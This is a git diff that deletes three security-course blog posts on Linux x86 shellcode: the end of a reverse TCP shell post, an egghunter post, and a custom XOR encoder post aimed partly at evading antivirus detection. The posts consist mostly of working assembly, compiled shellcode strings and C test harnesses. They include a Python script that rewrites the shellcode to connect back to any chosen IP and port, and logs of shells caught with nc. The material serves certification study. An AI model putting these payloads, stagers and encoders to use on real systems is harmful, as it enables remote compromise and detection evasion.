-int 0x80 ; sys_socketcall (SYS_SOCKET)
-mov edi, eax ; save socket fd
-
-; Create addr struct
-mov eax, 0xfeffff80 ; 127.0.0.1 XORed
-mov ebx, 0xffffffff ; XOR key (should be changed depending on IP to avoid nulls)
-xor eax, ebx ;
-push edx ; NULL padding
-push edx ; NULL padding
-push eax ; sin.addr (127.0.0.1)
-push word 0x5c11 ; Port 4444
-push word 0x2 ; AF_INET
-mov esi, esp
-```
-
-The reverse shellcode is simpler than a bind one since we only need to call `connect` and the server will initiate a connection to the attacker machine.
-
-```nasm
-; Connect socket
-xor eax, eax
-xor ebx, ebx
-mov al, 0x66 ; sys_socketcall
-mov bl, 0x3 ; SYS_CONNECT
-push 0x10 ; socklen_t addrlen
-push esi ; const struct sockaddr *addr
-push edi ; int sockfd
-mov ecx, esp
-int 0x80
-```
-
-The same `dup2` function that is used with the bind shellcode is used here to redirect input & ouput then execute a shell with `execve`. The `/bin/bash` string is pushed in reverse order on the stack but since the string needs to be null terminated, we will null out the `A` byte at offset `ESP + 11`.
-
-```nasm
-; Redirect STDIN, STDOUT, STDERR to socket
-xor ecx, ecx
-mov cl, 0x3 ; counter for loop (stdin to stderr)
-mov ebx, edi ; socket fd
-
-dup2:
-mov al, 0x3f ; sys_dup2
-dec ecx
-int 0x80 ; sys_dup2
-inc ecx
-loop dup2
-
-; execve()
-xor eax, eax
-push 0x41687361 ; ///bin/bashA
-push 0x622f6e69
-push 0x622f2f2f
-mov byte [esp + 11], al
-mov al, 0xb
-mov ebx, esp
-xor ecx, ecx
-xor edx, edx
-int 0x80
-```
-
-The final shellcode looks like this:
-
-```nasm
-global _start
-
-section .text
-
-_start:
-
- ; Zero registers
- xor eax, eax
- xor ebx, ebx
- xor ecx, ecx
- xor edx, edx
-
- ; Create socket
- mov al, 0x66 ; sys_socketcall
- mov bl, 0x1 ; SYS_SOCKET
- push 0x6 ; int protocol -> IPPROTO_TCP
- push 0x1 ; int type -> SOCK_STREAM
- push 0x2 ; int domain -> AF_INET
- mov ecx, esp
- int 0x80 ; sys_socketcall (SYS_SOCKET)
- mov edi, eax ; save socket fd
-
- ; Create addr struct
- mov eax, 0xfeffff80 ; 127.0.0.1 XORed
- mov ebx, 0xffffffff ; XOR key (should be changed depending on IP to avoid nulls)
- xor eax, ebx ;
- push edx ; NULL padding
- push edx ; NULL padding
- push eax ; sin.addr (127.0.0.1)
- push word 0x5c11 ; Port 4444
- push word 0x2 ; AF_INET
- mov esi, esp
-
- ; Connect socket
- xor eax, eax
- xor ebx, ebx
- mov al, 0x66 ; sys_socketcall
- mov bl, 0x3 ; SYS_CONNECT
- push 0x10 ; socklen_t addrlen
- push esi ; const struct sockaddr *addr
- push edi ; int sockfd
- mov ecx, esp
- int 0x80
-
- ; Redirect STDIN, STDOUT, STDERR to socket
- xor ecx, ecx
- mov cl, 0x3 ; counter for loop (stdin to stderr)
- mov ebx, edi ; socket fd
-
- dup2:
- mov al, 0x3f ; sys_dup2
- dec ecx
- int 0x80 ; sys_dup2
- inc ecx
- loop dup2
-
- ; execve()
- xor eax, eax
- push 0x41687361 ; ///bin/bashA
- push 0x622f6e69
- push 0x622f2f2f
- mov byte [esp + 11], al
- mov al, 0xb
- mov ebx, esp
- xor ecx, ecx
- xor edx, edx
- int 0x80
-```
-
-Compiling and testing the NASM generated ELF file
-```
-slemire@slae:~/slae32/assignment2$ ../compile.sh shell_tcp_reverse
-[+] Assembling with Nasm ...
-[+] Linking ...
-[+] Shellcode: \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb8\x80\xff\xff\xfe\xbb\xff\xff\xff\xff\x31\xd8\x52\x52\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x6a\x10\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80
-[+] Length: 109
-[+] Done!
-
-slemire@slae:~/slae32/assignment2$ file shell_tcp_reverse
-shell_tcp_reverse: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
-
-slemire@slae:~/slae32/assignment2$ ./shell_tcp_reverse
-[...]
-slemire@slae:~$ nc -lvnp 4444
-Listening on [0.0.0.0] (family 0, port 4444)
-Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 52204)
-whoami
-slemire
-```
-
-The shellcode is then tested with the skeleton program:
-```c
-#include
-
-char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb8\x80\xff\xff\xfe\xbb\xff\xff\xff\xff\x31\xd8\x52\x52\x50\x66\x68\x11\x5c\x66
-\x6a\x02\x89\xe6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x6a\x10\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x
-2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
-
-int main()
-{
- int (*ret)() = (int(*)())shellcode;
- printf("Size: %d bytes.\n", sizeof(shellcode));
- ret();
-}
-```
-
-Compiling and testing the shellcode:
-```
-slemire@slae:~/slae32/assignment2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
-slemire@slae:~/slae32/assignment2$ ./shellcode
-[...]
-slemire@slae:~$ nc -lvnp 4444
-Listening on [0.0.0.0] (family 0, port 4444)
-Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 52212)
-whoami
-slemire
-```
-
-### Python script to modify IP and port
----------------------------------------
-
-The following python script is used to modify the IP and port in the shellcode. It will automatically XOR the IP address with a key and make sure that the resulting shellcode doesn't contain any null bytes.
-
-```python
-#!/usr/bin/python
-
-import socket
-import struct
-import sys
-
-shellcode = '\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2'
-shellcode += '\\xb0\\x66\\xb3\\x01\\x6a\\x06\\x6a\\x01'
-shellcode += '\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc7'
-shellcode += '\\xb8\\x80\\xff\\xff\\xfe\\xbb\\xff\\xff'
-shellcode += '\\xff\\xff\\x31\\xd8\\x52\\x52\\x50\\x66'
-shellcode += '\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6'
-shellcode += '\\x31\\xc0\\x31\\xdb\\xb0\\x66\\xb3\\x03'
-shellcode += '\\x6a\\x10\\x56\\x57\\x89\\xe1\\xcd\\x80'
-shellcode += '\\x31\\xc9\\xb1\\x03\\x89\\xfb\\xb0\\x3f'
-shellcode += '\\x49\\xcd\\x80\\x41\\xe2\\xf8\\x31\\xc0'
-shellcode += '\\x68\\x61\\x73\\x68\\x41\\x68\\x69\\x6e'
-shellcode += '\\x2f\\x62\\x68\\x2f\\x2f\\x2f\\x62\\x88'
-shellcode += '\\x44\\x24\\x0b\\xb0\\x0b\\x89\\xe3\\x31'
-shellcode += '\\xc9\\x31\\xd2\\xcd\\x80'
-
-if len(sys.argv) < 3:
- print('Usage: {name} [ip] [port]'.format(name = sys.argv[0]))
- exit(1)
-
-ip = sys.argv[1]
-port = sys.argv[2]
-port_htons = hex(socket.htons(int(port)))
-
-byte1 = port_htons[4:]
-if byte1 == '':
- byte1 = '0'
-byte2 = port_htons[2:4]
-
-ip_bytes = []
-xor_bytes = []
-
-ip_bytes.append(hex(struct.unpack('>L',socket.inet_aton(ip))[0]).rstrip('L')[2:][-2:])
-ip_bytes.append(hex(struct.unpack('>L',socket.inet_aton(ip))[0]).rstrip('L')[2:][-4:-2])
-ip_bytes.append(hex(struct.unpack('>L',socket.inet_aton(ip))[0]).rstrip('L')[2:][-6:-4])
-ip_bytes.append(hex(struct.unpack('>L',socket.inet_aton(ip))[0]).rstrip('L')[2:][:-6])
-
-for b in range(0, 4):
- for k in range(1, 255):
- if int(ip_bytes[b], 16) ^ k != 0: # Make sure there is no null byte
- ip_bytes[b] = hex(int(ip_bytes[b], 16) ^ k)[2:]
- xor_bytes.append(hex(k)[2:])
- break
-
-# Replace port
-shellcode = shellcode.replace('\\x11\\x5c', '\\x{}\\x{}'.format(byte1, byte2))
-
-# Replace encoded IP
-shellcode = shellcode.replace('\\x80\\xff\\xff\\xfe', '\\x{}\\x{}\\x{}\\x{}'.format(ip_bytes[3], ip_bytes[2], ip_bytes[1], ip_bytes[0]))
-
-# Replace XOR key
-shellcode = shellcode.replace('\\xff\\xff\\xff\\xff', '\\x{}\\x{}\\x{}\\x{}'.format(xor_bytes[3], xor_bytes[2], xor_bytes[1], xor_bytes[0]))
-
-print('Here\'s the shellcode using IP {ip} and port {port}:'.format(ip = ip, port = port))
-print(shellcode)
-
-if '\\x0\\' in shellcode or '\\x00\\' in shellcode:
- print('##################################')
- print('Warning: Null byte in shellcode!')
- print('##################################')
-```
-
-To test, the IP address 172.23.10.37 is used with the port 5555:
-```
-slemire@slae:~/slae32/assignment2$ ./prepare.py 172.23.10.37 5555
-Here's the shellcode using IP 172.23.10.37 and port 5555:
-\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb8\xad\x16\xb\x24\xbb\x1\x1\x1\x1\x31\xd8\x52\x52\x50\x66\x68\x15\xb3\x66\x6a\x02\x89\xe6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x6a\x10\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80
-```
-
-Finally, the shellcode is tested:
-```
-slemire@slae:~/slae32/assignment2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
-slemire@slae:~/slae32/assignment2$ ./shellcode
-[...]
-slemire@slae:~$ nc -lvnp 5555
-Listening on [0.0.0.0] (family 0, port 5555)
-Connection from [172.23.10.37] port 5555 [tcp/*] accepted (family 2, sport 58584)
-whoami
-slemire
-```
-
-This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
-
-[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/)
-
-Student ID: SLAE-1236
-
-All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32)
\ No newline at end of file
diff --git a/_posts/2018-11-19-egghunter.md b/_posts/2018-11-19-egghunter.md
deleted file mode 100644
index bc76dab8a4..0000000000
--- a/_posts/2018-11-19-egghunter.md
+++ /dev/null
@@ -1,261 +0,0 @@
----
-layout: single
-title: Egghunter Linux Shellcode
-date: 2018-11-19
-classes: wide
-header:
- teaser: /assets/images/slae32.png
-categories:
- - slae
- - infosec
-tags:
- - slae
- - assembly
- - egghunter
----
-
-An egghunter can be useful in situations where the buffer space the attacker controls is limited and doesn't allow for a full shellcode to be placed on the stack. The egghunter acts as a staged payload: the smaller payload which is executed first looks through the entire process memory space for a marker (the egg) indicating the start of the larger payload. Once the egg is found, the stager jumps to the memory address following the egg and executes the shellcode.
-
-There's a few gotchas though that the egghunter has to watch out for:
-
-The main problem the egghunter has to work around is segfaults when trying to access an area of memory that is not allocated. To prevent this, the `access` function is called for each memory page and only if the page can be accessed will the shellcode look for the egg inside it. By default, Linux uses a page size of 4096 bytes so if an `EFAULT` is returned after calling `access`, we skip to the next page to avoid segfaulting.
-
-The egghunter must also avoid locating itself in memory and jumping to the wrong address.
-
-As shown here in the memory map, the stack is located at a higher address than the `.text` segment (0x08048000) so if we look in memory for the egg starting from the lower addresses, we'll match the string in the egghunter code instead of the egg in front of the 2nd stage shellcode (located on the stack).
-```
-gef➤ vmmap
-Start End Offset Perm Path
-0x08048000 0x08049000 0x00000000 r-x /home/slemire/slae32/assignment3/egghunter_c
-0x08049000 0x0804a000 0x00000000 r-x /home/slemire/slae32/assignment3/egghunter_c
-0x0804a000 0x0804b000 0x00001000 rwx /home/slemire/slae32/assignment3/egghunter_c
-0xb7e19000 0xb7e1a000 0x00000000 rwx
-0xb7e1a000 0xb7fca000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
-0xb7fca000 0xb7fcc000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
-0xb7fcc000 0xb7fcd000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
-0xb7fcd000 0xb7fd0000 0x00000000 rwx
-0xb7fd6000 0xb7fd7000 0x00000000 rwx
-0xb7fd7000 0xb7fda000 0x00000000 r-- [vvar]
-0xb7fda000 0xb7fdb000 0x00000000 r-x [vdso]
-0xb7fdb000 0xb7ffe000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
-0xb7ffe000 0xb7fff000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
-0xb7fff000 0xb8000000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
-0xbffdf000 0xc0000000 0x00000000 rwx [stack]
-```
-
-Let's say we have an egghunter program that used an egg with the bytes `DEAD`. Using `gef` for `gdb`, if we search for `DEAD` in memory we find a copy in the `.text` section at address `0x8048531` and another one in the stack at address `0xbffff1a8`. The 2nd one in the stack is the egg.
-```
-[+] Searching 'DEAD' in memory
-[+] In '/home/slemire/slae32/assignment3/egghunter_c'(0x8048000-0x8049000), permission=r-x
- 0x8048531 - 0x8048535 → "DEAD[...]"
- 0x804853b - 0x804853f → "DEAD[...]"
- 0x8048545 - 0x8048549 → "DEAD[...]"
-[+] In '/home/slemire/slae32/assignment3/egghunter_c'(0x8049000-0x804a000), permission=r-x
- 0x8049531 - 0x8049535 → "DEAD[...]"
- 0x804953b - 0x804953f → "DEAD[...]"
- 0x8049545 - 0x8049549 → "DEAD[...]"
-[+] In '[stack]'(0xbffdf000-0xc0000000), permission=rwx
- 0xbffff1a8 - 0xbffff1ac → "DEAD[...]"
- 0xbffff1cc - 0xbffff1d0 → "DEAD[...]"
- 0xbffff1d0 - 0xbffff1d4 → "DEAD[...]"
-[...]
-gef➤ search-pattern DEADDEAD
-[+] Searching 'DEADDEAD' in memory
-[+] In '[stack]'(0xbffdf000-0xc0000000), permission=rwx
- 0xbffff1cc - 0xbffff1d4 → "DEADDEAD[...]"
-```
-
-To avoid matching the string in the code itself, the egghunter code will look for the egg repeated twice. If the egg is only found once, the code assumes this is the string from the `.text` section, ignores it and keeps searching.
-
-### C prototype
---------------
-
-To start with, a C prototype was created to experiment with the egghunter concept. In this example, the egg is `DEAD` (4 bytes). The code is not optimized for speed and as such will start looking in memory at address `0x0`. There are probably better ways to optimize this, like start searching at addresses higher than the `.text` section, but these addresses could vary if ASLR is used.
-
-The following code shows the C prototype for the egghunter.
-```c
-#include
-#include
-#include
-
-int main()
-{
- char egg[4] = "DEAD";
- char buffer[1024] = "DEADDEAD\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";
- unsigned long addr = 0x0;
- int r;
-
- while (1) {
- // Try to read 8 bytes ahead of current memory pointer (8 bytes because the egg will be repeated twice)
- r = access(addr+8, 0);
- // If we don't get an EFAULT, we'll start checking for the egg
- if (errno != 14) {
- // Need to check egg twice, so we don't end up matching the egg from our own code
- if (strncmp(addr, egg, 4) == 0 && strncmp(addr+4, egg, 4) == 0) {
- char tmp[32];
- memset(tmp, 0, 32);
- strncpy(tmp, addr, 8);
- printf("Egg found at: %ul %s, jumping to shellcode (8 bytes ahead of egg address)...\n", addr, tmp);
- // Jump to shellcode
- int (*ret)() = (int(*)())addr+8;
- ret();
- }
- // Egg not found, keep going one byte at a time
- addr++;
- } else {
- // EFAULT on access, skip to next memory page
- addr = addr + 4095;
- }
- }
-}
-```
-
-Now, it's time to test the egghunter C prototype. Because the buffer containing the 2nd stage of the shellcode is located on the stack and the egghunter will jump to that memory location once it finds the egg, the `-z execstack` argument must be passed to the gcc compiler to make the stack executable otherwise it'll just segfault after jumping.
-```
-slemire@slae:~/slae32/assignment3$ ./egghunter_c
-Egg found at: 3221221888l DEADDEAD, jumping to shellcode (8 bytes ahead of egg address)...
-$ id
-uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
-```
-
-Nice, now let's build the assembly version with NASM.
-
-### Assembly version of the egghunter
--------------------------------------
-
-First, registers are cleared and the egg is moved in `$esi`. We'll use that register later when we compare memory content against the egg.
-
-The `mul ecx` instruction is a little trick to reduce shellcode size: It multiplies `$eax` by `$ecx` (which was already zeroed out with the `xor` instruction), and the results are stored in both `$eax` and `$edx`. So basically with a single instruction, we can null out both `$eax` and `$edx`.
-
-```nasm
- ; Zero registers
- xor eax, eax
- xor
- xor ecx, ecx ; ecx = 0
- mul ecx ; eax = 0, edx = 0
- mov esi, 0xdeadbeef ; our egg: 0xDEADBEEF
-```
-
-The `$edx` register is used to keep track of the memory address being read. To check is memory is accessible, `access` is used at follows:
-
-```nasm
- ; check if we can read the memory
- xor eax, eax
- mov al, 0x21 ; sys_access
- lea ebx, [edx+8] ; const char __user *filename
- int 0x80 ; sys_access
- cmp al, 0xf2 ; Check if we have an EFAULT
- jz next_page ; jump to next page if a fault is raised
-```
-
-If we get an `EFAULT`, we need to move to the next memory page (4096 bytes ahead), otherwise the code would run a lot more slowly since we know all 4096 bytes in the current memory page with also generate an `EFAULT`. To optimize the process, the current address is XORed with `4095` so the next loop iteration that increases the `$edx` register by 1 will end up in the next memory page.
-
-For example, if we just got a fault reading address `0xb7e19000`, XORing the address with `0xfff` results in `0xb7e19fff`. Then `0xb7e19fff` + 1 = `0xb7e18000` (start of the next page).
-
-```nasm
- next_page:
- or dx, 0xfff ; align page
-
- next_byte:
- inc edx ; set address to beginning of the memory page
-```
-
-If there's no fault resulting from `access`, we can safely looks through the page one byte at a time. We can use the `cmp` instruction using the current `$edx` value against the `$esi` register that contains the egg value. We also need to repeat the comparison a 2nd time to avoid matching the egg value from the code itself as explained earlier. If the egg is matched, the memory address following the 2nd copy of the egg is copied into `$esi` and the code jumps to it, executing the 2nd shellcode located there.
-
-```nasm
- ; search for the egg
- cmp [edx], esi
- jnz next_byte
-
- ; search again for 2nd copy of the egg (avoid matching code itself)
- cmp [edx+4], esi
- jnz next_byte
-
- ; egg found, jump to shellcode
- lea esi, [edx + 8]
- jmp esi
-```
-
-The final version of the egghunter code is shown below:
-```nasm
-global _start
-
-section .text
-
-_start:
-
- ; Zero registers
- xor eax, eax
- xor
- xor ecx, ecx ; ecx = 0
- mul ecx ; eax = 0, edx = 0
- mov esi, 0xdeadbeef ; our egg: 0xDEADBEEF
-
- next_page:
- or dx, 0xfff ; align page
-
- next_byte:
- inc edx ; set address to beginning of the memory page
-
- ; check if we can read the memory
- xor eax, eax
- mov al, 0x21 ; sys_access
- lea ebx, [edx+8] ; const char __user *filename
- int 0x80 ; sys_access
- cmp al, 0xf2 ; Check if we have an EFAULT
- jz next_page ; jump to next page if a fault is raised
-
- ; search for the egg
- cmp [edx], esi
- jnz next_byte
-
- ; search again for 2nd copy of the egg (avoid matching code itself)
- cmp [edx+4], esi
- jnz next_byte
-
- ; egg found, jump to shellcode
- lea esi, [edx + 8]
- jmp esi
-```
-
-Compiling the shellcode with NASM:
-```
-slemire@slae:~/slae32/assignment3$ ../compile.sh egghunter
-[+] Assembling with Nasm ...
-[+] Linking ...
-[+] Shellcode: \x31\xc9\xf7\xe1\xbe\xef\xbe\xad\xde\x66\x81\xca\xff\x0f\x42\x31\xc0\xb0\x21\x8d\x5a\x08\xcd\x80\x3c\xf2\x74\xed\x39\x32\x75\xee\x39\x72\x04\x75\xe9\x8d\x72\x08\xff\xe6
-[+] Length: 42
-[+] Done!
-```
-
-To test the egghunter shellcode, a skeleton C program is used. The `buffer` array contains a simple execve shellcode prepended by two copies of the egg `0xdeadbeef` (in little-endian format).
-```c
-#include
-
-char buffer[1024] = "\xef\xbe\xad\xde\xef\xbe\xad\xde\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
-char shellcode[] = "\x31\xc9\xf7\xe1\xbe\xef\xbe\xad\xde\x66\x81\xca\xff\x0f\x42\x31\xc0\xb0\x21\x8d\x5a\x08\xcd\x80\x3c\xf2\x74\xed\x39\x32\x75\xee\x39\x72\x04\x75\xe9\x8d\x72\x08\xff\xe6";
-
-int main()
-{
- int (*ret)() = (int(*)())shellcode;
- printf("Size: %d bytes.\n", sizeof(shellcode));
- ret();
-}
-```
-
-The following output shows that the shellcode works as intended and is able to locate the egg and execute the 2nd stage payload.
-```
-slemire@slae:~/slae32/assignment3$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
-slemire@slae:~/slae32/assignment3$ ./shellcode
-Size: 43 bytes.
-$ id
-uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
-```
-
-This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
-
-[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/)
-
-Student ID: SLAE-1236
-
-All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32)
\ No newline at end of file
diff --git a/_posts/2018-11-22-custom-encoder.md b/_posts/2018-11-22-custom-encoder.md
deleted file mode 100644
index a694048184..0000000000
--- a/_posts/2018-11-22-custom-encoder.md
+++ /dev/null
@@ -1,292 +0,0 @@
----
-layout: single
-title: Custom shellcode encoder
-date: 2018-11-22
-classes: wide
-header:
- teaser: /assets/images/slae32.png
-categories:
- - slae
- - infosec
-tags:
- - slae
- - assembly
- - encoding
----
-
-A shellcode encoder can be used for different purposes such as modify an existing shellcode to make it harder to detect by AV engines or simply avoid bad characters (such as null-bytes).
-
-The encoder itself doesn't provide any real security however since the obfuscation scheme is built into the code and is therefore reversible by anyone who has access to the encoded shellcode. This should not be confused with encryption, where security is based on the key and not the secrecy of the encryption scheme.
-
-In this post, we go over a simple encoder that performs the following:
-1. The encoder pads the shellcode with NOP opcodes so it is 4 bytes aligned
-2. A random byte is generated for each 4 bytes of the shellcode
-3. The 4 bytes are put in the reverse order and XORed with the XOR byte
-4. Process is repeated until the `0x9090aaaa` marker is reached
-
-The following diagram explains the process:
-
-
-
-To encode the shellcode, a Python script is used and reads the shellcode from the input file in `\xFF\xEE\xDD...` format. As explained earlier, a XOR byte is randomly chosen for each 4 bytes tuple. If any of the encoded bytes end up being XORed to \x00, another random XOR byte is chosen instead to avoid nulls being insert in the final shellcode.
-
-A marker is added at the end of the shellcode so the length of the encoded shellcode doesn't need to be included in the decoder stub.
-
-The code of the encoder is shown here:
---------------------------------------
-
-```python
-#!/usr/bin/python
-
-import random
-import socket
-import struct
-import sys
-
-# Decoder stub
-decoder_stub = "\xeb\x57\x31\xc0\x31\xdb\x31\xc9"
-decoder_stub += "\x31\xd2\x5e\xbf\x90\x90\xaa\xaa"
-decoder_stub += "\x83\xec\x7f\x83\xec\x7f\x83\xec"
-decoder_stub += "\x7f\x83\xec\x7f\x8a\x5c\x16\x01"
-decoder_stub += "\x8a\x7c\x16\x02\x8a\x4c\x16\x03"
-decoder_stub += "\x8a\x6c\x16\x04\x32\x1c\x16\x32"
-decoder_stub += "\x3c\x16\x32\x0c\x16\x32\x2c\x16"
-decoder_stub += "\x88\x2c\x04\x88\x4c\x04\x01\x88"
-decoder_stub += "\x7c\x04\x02\x88\x5c\x04\x03\x39"
-decoder_stub += "\x7c\x16\x05\x74\x0a\x42\x42\x42"
-decoder_stub += "\x42\x42\x83\xc0\x04\x75\xc5\xff"
-decoder_stub += "\xe4\xe8\xa4\xff\xff\xff"
-
-# Seed PRNG (don't use this for real crypto)
-random.seed()
-
-if len(sys.argv) < 2:
- print('Usage: {name} [shellcode_file]'.format(name = sys.argv[0]))
- exit(1)
-
-shellcode_file = sys.argv[1]
-
-# Read shellcode from file in '\xFF\xEE\xDD' format
-with open(shellcode_file) as f:
- shellcode_original = bytearray.fromhex(f.read().strip().replace('\\x',''))
-
-# If shellcode is not 4 bytes aligned, adding padding bytes at the end
-if len(shellcode_original) % 4 != 0:
- padding = 4 - (len(shellcode_original) % 4)
-else:
- padding = 0
-if padding:
- print('[+] Shellcode not 4 bytes aligned, adding {} \\x90 bytes of padding...'.format(padding))
- for i in range(0, padding):
- shellcode_original.append(0x90)
-
-shellcode_encoded = bytearray()
-
-# Process 4 bytes at a time
-for i in range(0, len(shellcode_original), 4):
- xor_byte_good = False
- while(xor_byte_good == False):
- # Generate random XOR byte
- r = random.randint(1,255)
- # Check that resulting shellcode doesn't contain null bytes
- if (r ^ shellcode_original[i] != 0) and (r ^ shellcode_original[i+1] != 0) and (r ^ shellcode_original[i+2] != 0) and (r ^ shellcode_original[i+3] != 0):
- xor_byte_good = True
-
- # Encoded shellcode contains XOR byte + next 4 bytes reversed
- shellcode_encoded.append(r)
- shellcode_encoded.append(shellcode_original[i+3] ^ r)
- shellcode_encoded.append(shellcode_original[i+2] ^ r)
- shellcode_encoded.append(shellcode_original[i+1] ^ r)
- shellcode_encoded.append(shellcode_original[i] ^ r)
-
-# Add end of shellcode marker
-shellcode_encoded.append(0x90)
-shellcode_encoded.append(0x90)
-shellcode_encoded.append(0xaa)
-shellcode_encoded.append(0xaa)
-
-# Print out the output
-decoder_stub_hex = ''.join('\\x{}'.format(hex(ord(x))[2:]) for x in decoder_stub)
-shellcode_original_hex = ''.join('\\x{:02x}'.format(x) for x in shellcode_original)
-shellcode_encoded_hex = ''.join('\\x{:02x}'.format(x) for x in shellcode_encoded)
-shellcode_encoded_nasm = ''.join('0x{:02x},'.format(x) for x in shellcode_encoded).rstrip(',')
-print('[+] Original shellcode (len: {}): {}\n'.format(len(shellcode_original), shellcode_original_hex))
-print('[+] Encoded shellcode (len: {}): {}\n'.format(len(shellcode_encoded), shellcode_encoded_hex))
-print('[+] Encoded shell in NASM format: {}\n'.format(shellcode_encoded_nasm))
-print('[+] Encoded shellcode /w decoder stub (len: {}): {}\n'.format(len(decoder_stub) + len(shellcode_encoded), decoder_stub_hex + shellcode_encoded_hex))
-```
-
-The decoder uses the *JMP CALL POP* technique to push the address of the encoded shellcode on the stack. The decoder stub then makes room for 512 bytes on the stack by decreasing `$esp` by 512.
-
-We use the `$edx` to keep track of the offset from the start of the encoded shellcode.
-
-For each 4 bytes tuple, the bytes are stored as follows:
-- 1st byte: `$bl`
-- 2nd byte: `$bh`
-- 3rd byte: `$cl`
-- 4th byte: `$ch`
-
-Then we XOR each byte with the key, located at `[$esi + $edx]` and store the results on the stack in reverse order. After each tuple is decoded, the decoder stub checks if the marker is reached and jumps to the shellcode on the stack if that's the case.
-
-The complete decoder stub code if shown here:
----------------------------------------------
-
-```nasm
-global _start
-
-section .text
-
-_start:
- jmp short call_shellcode
-
-decoder:
- xor eax, eax
- xor ebx, ebx
- xor ecx, ecx
- xor edx, edx
- pop esi ; address of shellcode
- mov edi, 0xaaaa9090 ; end of shellcode marker
- sub esp, 0x7f ; make room on the stack (512 bytes)
- sub esp, 0x7f ; make room on the stack
- sub esp, 0x7f ; make room on the stack
- sub esp, 0x7f ; make room on the stack
-
-decode:
- mov bl, byte [esi + edx + 1] ; read 1st encoded byte
- mov bh, byte [esi + edx + 2] ; read 2nd encoded byte
- mov cl, byte [esi + edx + 3] ; read 3rd encoded byte
- mov ch, byte [esi + edx + 4] ; read 4th encoded byte
- xor bl, byte [esi + edx] ; xor with the key byte
- xor bh, byte [esi + edx] ; xor with the key byte
- xor cl, byte [esi + edx] ; xor with the key byte
- xor ch, byte [esi + edx] ; xor with the key byte
- mov byte [esp + eax], ch ; store in memory in reverse order to restore original shellcode
- mov byte [esp + eax + 1], cl ; ..
- mov byte [esp + eax + 2], bh ; ..
- mov byte [esp + eax + 3], bl ; ..
-
- cmp dword [esi + edx + 5], edi ; check if we have reached the end of shellcode marker
- jz execute_shellcode ; if we do, jump to the shellcode and execute it
-
- inc edx
- inc edx
- inc edx
- inc edx
- inc edx
- add eax, 4
- jnz decode
-
-execute_shellcode:
- jmp short esp
-
-call_shellcode:
- call decoder
- encoder_shellcode: db 0x08,0x60,0x58,0xc8,0x39,0xb0,0xd8,0xc3,0x9f,0x9f,0xd1,0xb8,0xb3,0xfe,0xb9,0x1e,0x4e,0xfd,0x97,0x70,0x39,0xb0,0x6a,0xdb,0xb0,0xc4,0x09,0xcf,0x74,0x25,0x76,0xe6,0xe6,0xe6,0xf6,0x90,0x90,0xaa,0xaa
-```
-
-Testing non-encoded shellcode against Virus Total
--------------------------------------------------
-
